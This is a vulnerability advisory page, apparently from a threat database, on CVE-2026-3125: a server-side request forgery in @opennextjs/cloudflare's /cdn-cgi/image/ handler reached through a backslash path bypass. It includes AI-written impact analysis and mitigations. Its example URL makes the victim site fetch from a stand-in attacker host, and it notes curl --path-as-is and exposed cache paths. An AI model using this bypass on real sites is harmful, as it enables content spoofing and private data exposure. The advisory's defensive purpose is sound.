CVE-2026-3125: CWE-918 Server-Side Request Forgery (SSRF) in opennextjs @opennextjs/cloudflare
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs. For example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services. Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests. Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
AI Analysis
Technical Summary
CVE-2026-3125 is a Server-Side Request Forgery (SSRF) vulnerability identified in the @opennextjs/cloudflare package, specifically within the /cdn-cgi/image/ handler. This handler is intended for development use only, as Cloudflare's edge normally intercepts requests to /cdn-cgi/image/ in production environments, preventing them from reaching the Worker. However, the vulnerability arises from a path normalization bypass: by replacing the forward slash '/' with a backslash '\' in the URL path (e.g., /cdn-cgi\image/ instead of /cdn-cgi/image/), the Cloudflare edge fails to intercept the request. The JavaScript URL class then normalizes the backslash back to a forward slash, causing the request to be processed by the Worker. This results in an unvalidated fetch of arbitrary remote URLs controlled by the attacker. For example, an attacker can craft a URL such as https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com, causing the victim site to fetch and serve content from attacker.com under its own domain. This violates the same-origin policy and can mislead users or downstream services relying on the victim domain. Additionally, a similar bypass affects Cloudflare Workers with Assets and Cloudflare Pages, where assets stored under /cdn-cgi/ paths are normally inaccessible publicly. Using the backslash bypass, these assets become accessible, potentially exposing private data such as incremental cache files stored under /cdn-cgi/_next_cache in Open Next projects. The vulnerability requires HTTP clients that preserve backslashes in paths (e.g., curl with --path-as-is), as browsers normalize backslashes to forward slashes before sending requests, preventing exploitation via typical browser usage. No known exploits have been reported in the wild at this time. The CVSS 4.0 score of 7.7 reflects a high severity due to network attack vector, no required privileges or user interaction, and partial impact on confidentiality and integrity. The vulnerability is categorized under CWE-918 (SSRF) and CWE-706 (Use of Incorrectly-Resolved Name or Reference).
Potential Impact
The primary impact of CVE-2026-3125 is the ability for attackers to perform SSRF attacks that allow them to make the victim's server fetch arbitrary remote URLs. This can lead to several security issues: bypassing same-origin policy protections, enabling phishing or content spoofing by serving attacker-controlled content under the victim's domain, and potentially facilitating further attacks such as credential theft or session hijacking. Additionally, the exposure of private assets stored under normally protected /cdn-cgi/ paths can lead to leakage of sensitive data, including incremental cache data that may contain application state or user information. Organizations using the @opennextjs/cloudflare package, Cloudflare Workers with Assets, or Cloudflare Pages are at risk of data exposure and trust violations. The vulnerability does not require authentication or user interaction, increasing the risk of automated exploitation. Although no known exploits are reported yet, the ease of exploitation with common HTTP clients and the high impact on confidentiality and integrity make this a significant threat. The scope includes all deployments using the vulnerable package and configurations that rely on Cloudflare's edge interception for security. This can affect web applications, APIs, and static asset hosting that utilize these technologies, potentially impacting user trust and regulatory compliance.
Mitigation Recommendations
To mitigate CVE-2026-3125, organizations should immediately audit their use of the @opennextjs/cloudflare package and Cloudflare Workers or Pages that serve content under /cdn-cgi/ paths. Specific recommendations include: 1) Disable or remove the /cdn-cgi/image/ handler in production environments, ensuring it is only used in development where edge interception is not relied upon. 2) Implement strict input validation and sanitization on URL paths to reject or normalize backslashes before processing, preventing path normalization bypasses. 3) Configure Cloudflare edge rules or firewall policies to detect and block requests containing backslashes in paths, especially those targeting /cdn-cgi/ endpoints. 4) Review and restrict access permissions to assets stored under /cdn-cgi/ paths, ensuring sensitive cache or private data is not exposed. 5) Monitor logs for unusual requests containing backslashes or unexpected fetches initiated by Workers. 6) Update to patched versions of the @opennextjs/cloudflare package once available, or apply vendor-provided fixes. 7) Educate developers about the risks of relying solely on edge interception for security and encourage defense-in-depth strategies. 8) For critical environments, consider implementing network-level egress controls to limit outbound fetches initiated by Workers to trusted domains only. These targeted mitigations go beyond generic advice by focusing on the specific bypass vector and the unique Cloudflare environment.
Affected Countries
United States, Germany, United Kingdom, France, Japan, South Korea, Australia, Canada, Netherlands, Singapore
CVE-2026-3125: CWE-918 Server-Side Request Forgery (SSRF) in opennextjs @opennextjs/cloudflare
Description
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs. For example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services. Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests. Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
AI-Powered Analysis
Technical Analysis
CVE-2026-3125 is a Server-Side Request Forgery (SSRF) vulnerability identified in the @opennextjs/cloudflare package, specifically within the /cdn-cgi/image/ handler. This handler is intended for development use only, as Cloudflare's edge normally intercepts requests to /cdn-cgi/image/ in production environments, preventing them from reaching the Worker. However, the vulnerability arises from a path normalization bypass: by replacing the forward slash '/' with a backslash '\' in the URL path (e.g., /cdn-cgi\image/ instead of /cdn-cgi/image/), the Cloudflare edge fails to intercept the request. The JavaScript URL class then normalizes the backslash back to a forward slash, causing the request to be processed by the Worker. This results in an unvalidated fetch of arbitrary remote URLs controlled by the attacker. For example, an attacker can craft a URL such as https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com, causing the victim site to fetch and serve content from attacker.com under its own domain. This violates the same-origin policy and can mislead users or downstream services relying on the victim domain. Additionally, a similar bypass affects Cloudflare Workers with Assets and Cloudflare Pages, where assets stored under /cdn-cgi/ paths are normally inaccessible publicly. Using the backslash bypass, these assets become accessible, potentially exposing private data such as incremental cache files stored under /cdn-cgi/_next_cache in Open Next projects. The vulnerability requires HTTP clients that preserve backslashes in paths (e.g., curl with --path-as-is), as browsers normalize backslashes to forward slashes before sending requests, preventing exploitation via typical browser usage. No known exploits have been reported in the wild at this time. The CVSS 4.0 score of 7.7 reflects a high severity due to network attack vector, no required privileges or user interaction, and partial impact on confidentiality and integrity. The vulnerability is categorized under CWE-918 (SSRF) and CWE-706 (Use of Incorrectly-Resolved Name or Reference).
Potential Impact
The primary impact of CVE-2026-3125 is the ability for attackers to perform SSRF attacks that allow them to make the victim's server fetch arbitrary remote URLs. This can lead to several security issues: bypassing same-origin policy protections, enabling phishing or content spoofing by serving attacker-controlled content under the victim's domain, and potentially facilitating further attacks such as credential theft or session hijacking. Additionally, the exposure of private assets stored under normally protected /cdn-cgi/ paths can lead to leakage of sensitive data, including incremental cache data that may contain application state or user information. Organizations using the @opennextjs/cloudflare package, Cloudflare Workers with Assets, or Cloudflare Pages are at risk of data exposure and trust violations. The vulnerability does not require authentication or user interaction, increasing the risk of automated exploitation. Although no known exploits are reported yet, the ease of exploitation with common HTTP clients and the high impact on confidentiality and integrity make this a significant threat. The scope includes all deployments using the vulnerable package and configurations that rely on Cloudflare's edge interception for security. This can affect web applications, APIs, and static asset hosting that utilize these technologies, potentially impacting user trust and regulatory compliance.
Mitigation Recommendations
To mitigate CVE-2026-3125, organizations should immediately audit their use of the @opennextjs/cloudflare package and Cloudflare Workers or Pages that serve content under /cdn-cgi/ paths. Specific recommendations include: 1) Disable or remove the /cdn-cgi/image/ handler in production environments, ensuring it is only used in development where edge interception is not relied upon. 2) Implement strict input validation and sanitization on URL paths to reject or normalize backslashes before processing, preventing path normalization bypasses. 3) Configure Cloudflare edge rules or firewall policies to detect and block requests containing backslashes in paths, especially those targeting /cdn-cgi/ endpoints. 4) Review and restrict access permissions to assets stored under /cdn-cgi/ paths, ensuring sensitive cache or private data is not exposed. 5) Monitor logs for unusual requests containing backslashes or unexpected fetches initiated by Workers. 6) Update to patched versions of the @opennextjs/cloudflare package once available, or apply vendor-provided fixes. 7) Educate developers about the risks of relying solely on edge interception for security and encourage defense-in-depth strategies. 8) For critical environments, consider implementing network-level egress controls to limit outbound fetches initiated by Workers to trusted domains only. These targeted mitigations go beyond generic advice by focusing on the specific bypass vector and the unique Cloudflare environment.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- cloudflare
- Date Reserved
- 2026-02-24T14:15:54.385Z
- Cvss Version
- 4.0
- State
- PUBLISHED
Threat ID: 69a87af1d1a09e29cb563d8c
Added to database: 3/4/2026, 6:33:21 PM
Last enriched: 3/4/2026, 6:47:42 PM
Last updated: 3/4/2026, 7:36:29 PM
Views: 23
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Related Threats
CVE-2026-3545: Insufficient data validation in Google Chrome
UnknownCVE-2026-3544: Heap buffer overflow in Google Chrome
UnknownCVE-2026-3543: Inappropriate implementation in Google Chrome
UnknownCVE-2026-3542: Inappropriate implementation in Google Chrome
UnknownCVE-2026-3541: Inappropriate implementation in Google Chrome
UnknownActions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console in Console -> Billing for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.